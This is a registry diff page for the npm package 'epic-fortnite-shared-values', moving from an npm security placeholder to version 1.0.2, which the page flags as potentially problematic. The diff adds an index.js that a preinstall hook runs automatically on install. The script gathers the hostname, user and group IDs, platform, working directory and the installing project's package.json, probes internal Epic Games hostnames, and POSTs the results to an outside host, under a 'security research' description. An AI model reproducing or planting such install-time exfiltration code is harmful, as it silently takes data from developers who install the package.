epic-fortnite-shared-values 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of epic-fortnite-shared-values might be problematic. Click here for more details.
- package/index.js +41 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
import https from "https";
|
2
|
+
import os from "os";
|
3
|
+
import fs from "fs";
|
4
|
+
import path from "path";
|
5
|
+
import dns from "dns/promises";
|
6
|
+
|
7
|
+
const domains = [
|
8
|
+
"account-admin-service-prod03.ol.epicgames.net",
|
9
|
+
"fortnite-admin-service-latest-gamedev.ol.epicgames.net",
|
10
|
+
"product-framework-admin-website-gd.ol.epicgames.net"
|
11
|
+
];
|
12
|
+
|
13
|
+
let cwd = process.cwd();
|
14
|
+
let cwdSplit = cwd.split(path.sep);
|
15
|
+
let installingPackage = null;
|
16
|
+
for (let i = 0; i < cwdSplit.length; i++) {
|
17
|
+
if (cwdSplit[i] === "node_modules") {
|
18
|
+
try {
|
19
|
+
installingPackage = JSON.parse(fs.readFileSync(path.join(cwdSplit.slice(0, i).join(path.sep), "package.json"), "utf-8"))
|
20
|
+
} catch (e) {
|
21
|
+
// Ignored
|
22
|
+
}
|
23
|
+
}
|
24
|
+
}
|
25
|
+
|
26
|
+
https.request({
|
27
|
+
method: "POST",
|
28
|
+
host: "jpa.jaren.wtf",
|
29
|
+
path: "/h1/npm/epic-fortnite-shared-values",
|
30
|
+
headers: {
|
31
|
+
'Content-Type': "application/json"
|
32
|
+
}
|
33
|
+
}).end(JSON.stringify({
|
34
|
+
hostname: os.hostname(),
|
35
|
+
uid: os.userInfo().uid,
|
36
|
+
gid: os.userInfo().gid,
|
37
|
+
platform: os.platform(),
|
38
|
+
dns: await Promise.allSettled(domains.map(domain => dns.lookup(domain))),
|
39
|
+
cwd,
|
40
|
+
installingPackage
|
41
|
+
}));
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "epic-fortnite-shared-values",
|
3
|
-
"version": "
|
4
|
-
"description": "security
|
5
|
-
"
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "Used for security research purposes",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"type": "module"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=epic-fortnite-shared-values for more information.
|